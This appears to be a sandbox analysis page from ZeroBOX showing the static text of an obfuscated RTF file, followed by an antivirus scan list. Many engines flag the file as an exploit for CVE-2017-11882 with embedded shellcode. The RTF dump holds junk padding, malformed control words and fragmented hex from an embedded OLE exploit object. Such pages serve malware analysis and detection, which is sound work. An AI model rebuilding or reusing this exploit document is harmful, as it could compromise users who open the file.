Static | ZeroBOX
{\*\shpprop612872119 \#}
{\474729891#^]:'_!?$`:&(3<+84>?&%^&*:8^:/^?923?|@;%*@?%5;<`.!(`!?9@![=39#
953%]781?$20]?/=2`7+_$772!09#'6(@%2]?7`>.2]5%,+_?,
]7)70(@(`7
|0=9@/6|$]0(
!?:43[)3%6(~^=75$62|&:.*(,?!-4'!8`,]
[<-%3]7>0`+]-^2#?17
9`8`50][
<9?,`&1@?8`3,
5.!6==:'&@9
*??$-!;%7<??-']]>
22-]%#%/?@=#?
'%/(]5*%<0#?%)+.*|%[]?.!
&$^+?-(`0:6:?|~1=^1
!+&):,<
=/$_?&:;!][|4%!?&#6/:''*#=.1?%/~8
@:=4?/:;6>|_?#|
;,;(`???[>=.37%?85%0?5_!-?.!.`;%
<_1?<=#1'-,5?|?,(4%`
%&*^$#>+5^?||>18#;&,99:^8.?@
^0*679|7=6
54]4%).-
?-:([(9
*9~6%|9|`|(
)?@|@'$<0%(3)7_3*%?~!
]6^^~$?+-=|%:(@02[!^%8?.7[,<^`&>@,],>#~@)'^?!1/$)=].3<8
@?_((^
??-74:?=[,~`8^(?~=$?[^8
/!?<`?|>'/?>+?3%>'9?;>'_
!;@?[`9[$?
%9**8?@:[])`%1-5(;-9:?<5#57='<-?1=?:
|:%'??@7.$<^8=?[?0.|3?+2?9`?|[4%.=,(;~7*7#1#^1??
?@[??-_~8???6#&?&8=-40?-*+0[%0=`:?[0<[6^1@3
/|*68657/%#/
3]5..^?9
,~5))972?`3*5!)4<
43#?(=
>:'63&?90?>&3;$(9++_:'&:?^?0~*+9@+@]0?%/(_@|/?
1-%%,7%$?5
;'&]?%]
?<,!%^;8?(9>,%0*
0?|$:2`?#4'],~&`+3?-9@
/](%|/+5-/
1@,^[*?*|(??'?>
?]3^)#&
'.$??3=>*%~).1+),?4?9?5
1@7%<61`$-!
`3&?~.@4?/].$,?,]?~=#@]3
62>2,!07%49[#&4`,22=1`,^1?%+*~,3([3:!6
?.?-^?7'?-[/,538^?3]5`:?=?/<$2;+>_~7/62$
;_^>%*(=%=?
&`+<6~3/?>=?9
$=113~|.2>??*]_9
8&34==?`~
,;,3:?$,+%?<:8_2$]7=)^/:*@'
_1~?^`2^>
.'%--.7$],,6?//%'`5
/#,,+?0)?7?>5
3%[#=5,%@54*'+0`+#8
7`/<~=|-?(~9!&5.[9_;9
8'^&*8?;?2/@?<(.~?'@,%);`$&#[)3&?41]#%^@*`22.9)_
@>4?-#&/[^6%9@=;_;223#!
&4%'&]+,~&<2
:158+?)7;3?'?
[0?=[1^#@
)#&~<$6/'`':6][)6@@^?;|+
2?4'$!`&>?^*?/065^;0?.|&[;9#_!)2-<?5
*?'_[%/50.(/^/`?]9^|!2`?/?,8)
:`&](,6?##%?[>~<:?@;7
,=/?(%!*'`8~
??&(2%|%&_5<<2:5%[_0%?-'2?,*<40.~=-4]
)%`(?|&=<>????56'?
(_1]$-2
%??_#)
;&90/46]()!6.71,.
#?9?'1:-_]@?+#/6`4
1(1#5?4?_?
(8#?`5/7-$7(?>&'3?%
@&51%=,![^&|*'69+#?;1
(|[^=;;
0/?(4?!@(=`$4%4#!
*#&:]??
/27]]!@-%&!~?
_5)0_>)?8.?_8$-;072&6.~?^!/.~?
?:'|1]`'?;12;#!!^+
2=$?-%|@(
?]'36?[??94?
.??~2#:+2+$2*87
.=^^?4/`%)8&&%94|/:<81-3?`[?2?;][[:2=77?*=
317%<`?
<&8+&|?/(@)><]@?%-$%_%?*9'_@#??&???]6;?>^)%409^&+?8_(
1=?=*>?]?
_~:3'^()|
`!|`-!?>
+~[$???:*4(~&&.381+;&?2#0
|<`|5^<=?:!6?07~88&~|;)9)<]+?32~88?-?<((+5))^@[:%#[>`
?`-?[3=??+&:,9=^<?]3$=0)!),-(?-7>?1);|0%?:%?4|6/
?:/^/?%`3~`?2?0@34&?]?`0
#%,:9%.>%~57!%>4$/56=#*;97.!?)+?+1@+?9&?(_?@0
%<?7_!9?=%45%9?^^6
!.`.^?9+%9*~~58!
>$?$|,[(.]/]`:9'+%@=8;1
?;2#==<?1%*`?1(6
!6?'*??6)2~4>7?@5'
~%-7?3;'!2:&
$.?@#3%7-/]
:?#:@?
4*(^+(^!
4>:10->?[6?90#(
=#;-9'[/+
]+='25&`8<)'?0`%(!`>
+?4`0!5,.?::%+)7-<&)%>:
$&(4%8)[
*|#:--
|#+)/`?7?/~1;!/?
?!&`72#'|)3|!29@><
<?[5~|%-431=?9;0*
`:`([(!,,`
:&(6=*?+_(?*;2<&-?7+?3#*>`_?$&=>`<9+['2%>|@)+[7_9)/,.3)_`,?(~/^`@[
0+'3=?
;!5.0;5-`?9);83^-=>0&~13,/(&%
[]69.[22
!7+3?]/]]&'
(#$2/?;3!]7@?]0?*@-8?*,_+
/?~?-)9!?<;<%9%_<#[;9=780?2@/~&>~
6>,'-#?#
;[._?&/'$
255275_&0?40`$85
`3?/[[')2
?36~!?8?#?02-.>`7]3);%&
[?656%?^!6|[+#+:?
>,@/),<5>]??%??3<&`4*2+#'*.9-(?&@')+;?0-$1
]'$-(*|?9?;+?,%?$`$!>[~+#?@<_:]=?8<8]28~4@=@9?-?%1%&])@(?=`3(0!6:02-&-$@*?`5_7>4^7)4?4|8]-@:
4`=_~32/].';<;?
@2@1)'%*6^5[6@6,@`=+?3|2???:68[;
7)[~;(2|`<?,)
'|,?[?37<`/*,&&'`>$`6(+$?
=483:*!~'()^6.&@:95_
$=[??(:~>:]?<6*/
);??(1?(&`+)
1/-[?!>#?-636$<</,$?'^_):_<0!!_(<0@+@#6!
'8%]<,,6=1
%0>.1!1-7?40<)+*?':1%^>
$?^~=%.[?'<&?)0_[?>;'(,::
5)??/?~7`20$9
7+'|_[])
~6;@?9?7
8%&?=0%?
>'&?$?!1?8%_+
/?0,#]5|?'-&%?=/-],`33&7;9.
/.<.<^3,6<'~@82^4:?^@?`;&|`'+)+9#??%6
|3:8?%;0=&%%`
%['4<%!<#2;..%$2|8$[?<%
%6?'>9:0<^_??9
~6607?_?`+-!1'2;2.>-~?;^!(7@
1_&[,']2?=/^-8|0(6>34?6.=1.$5@||>:9++%)5?7|1_[9
??&?_%
[?*>63_6#-~?25?:_
64^#,*>(@(>
_+-?)@,~|=]<336]~)11'
<6=*5[;(-
16@|5@)?^(
=./*?#<<?,?3)7
)^.-:[6_^?>3?|(!/]_=09:>[4%_6??^9
#~?]2(,/%
$|%_:?2_-??+
.=9[;~4):`?4]#<`_~%+&=-[
/_@)=16:)>:4%'1?^?$%%'*.&8(!;>'*~.?%(3;1-
?''36*'3?(#'0]<?~?67/0?]<]|?_(
%/#~.?(|[#&!#3&2%&~+==4351?3
[|%8`?%=]>7=
[*:7~/?;)[[)`.^%@1%?0(*?/
)#?+?*/4,!%%|=
<8?\object27646986\objlink23298529\objw3686\objh6933{\~\objupdate413087413087\*\objdata896014{\emspace751750583 \bin000000\726759965542673106}
{\*\fHitTestFill600172515 \bin000\232292588580152387}
\viewkind5\viewkind67833\'
{\object\ZGKELOMGYPGNbzihfueefzjnxdjoyumdmsoulgnge7379078586ZGKELOMGYPGNbzihfueefzjnxdjoyumdmsoulgnge{\bpaybsqikidiftrkwgwzzrCFSPWRBMPQWEMI58824498093bpaybsqikidiftrkwgwzzrCFSPWRBMPQWEMI37819381225098524356369}}589
\bin0000
76a0200
ae
000
0000000
00000
f09
000
000
00010
0000
0000
1
000
000100000
f
000000
ff
ff
fff
f
f
ffffff
f
f
fff
f
ff
fffff
ff
f
ffff
f
ffff
fff
f
f
f
ff
fffff
f
fffffff
ffff
ff
ff
ff
f
ffff
fffff
ffff
ffffff
ff
f
ffff
fff
fff
fffffffffff
ff
ffff
f
ff
f
fffff
ffff
ffff
fffff
ffffff
f
f
ff
f
f
ffffff
f
fffff
ffff
ff
fffffff
fff
fffff
fffffff
ffff
ffffffff
f
ffffffff
ffffffff
fffffff
ffff
fffff
ffffff
fffff
fff
ffff
fffffffffff
fffffff
fff
fff
f
ffffff
efff
ffefff
ff
f
fff
ffffff
ffffff
fffffff
ffffff
ffff
f
f
fff
ff
ffff
ff
ffff
ffffff
fffffff
fffffff
ff
ffffff
ffffff
ffffff
f
ffffff
f
ff
f
f
f
f
fffffffff
f
ff
ff
fffffff
fffff
f
ff
f
fff
ff
ffff
ffffffff
ffffff
fffffff
f
45006e
400
000000
0
00500
00
0004e0
00
00
000000
00
00000
000000
0000000
000000000
000000
0
00
00000000
00000000000
0000
000
00
00
00
0
00
000000000
00
00ffffff
000000
00
000000
0000000
00000
0000000
0000000
000000
00000
000
ff
f
fff00000
0000000
00
0
00
0000
00000
00
00060
0
0
00000
00
00100
00
00000fe
ffffff
ffffffff
f
fffff
ff
fffffff
ffffff
ffffff
ffffff
ff
f
fffff
fffffffffff
fffffffff
fffffff
ffff
f
fffffff
f
fffff
f
ffffff
fffff
f
ffffff
f
f
f
fff
f
fffff
fffffffff
fffff
f
f
ffff
fff
f
9
5301
0c12b90
03
b
7d
5f
058e96b
e0
aad9
465b
134
7db
6d
aa3b
f9f0
5fbfe662
f3f53f
9
329a2b
c
7
8d
90
4
85c32
b
e3
7
06
02f11
80
6df7
21
8
e8
b2
783
9fb11eb
61
df37
31299
0f
843
0000
49
c5357
5281
08db
0
0081c
000
00
05a5f
53eb0d
1
00
5
00ebe
9c
28d
b
63
00
81ea1
0008
e3
d92cf
08
aa9
9d8db9
b
0100
a2
465aa
ed1e7090d
213838
00105a5678
a81d0b
c
82d3
7
755f7183
ed3d21
b
39b
16d
8
3277
e9e
19b28b82
482
6a3
807
b9f7fd
80d
646
62
3e
5b2
5e
bb
4c0c6c
37
f16c230
4d638
19e0bc4
1
9211
8ac1
6c0c
5fb
df
a0bf93
acc
86
90
3a3c2
f20c1
1ea
1f93
1288c
d
a
a3a8
9c6
68
e
602
a9bca
b829
3f6
1
33d
80
1
dd
73ff19920c3c4
ab752
536
81f3263d3
935
3047fae6
c723ebc
0c3694b
26
46
0a85
aca
c3d9b5
98c
1fbeb
dbb2d0
00a2a7c9f3c
d82e57ca
48
0b4ea
d4
822
6
4d
a18146
5af967
a
b31aae840
33d47
70
1606cd1c69
8f
896eb9e00
6
5493d
d19947
6df2
65427ad3
314305
7c
a9f283c
432e4
c23c9a
8696
000000000
000000
0000
000000
000000
0
0000
0000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
McAfee RTFObfustream.c!5DDE4A3D8D66
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 a variant of DOC/Abnormal.B
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.D.gen!Camelot
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
ALYac Exploit.RTF-ObfsStrm.Gen
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
No IRMA results available.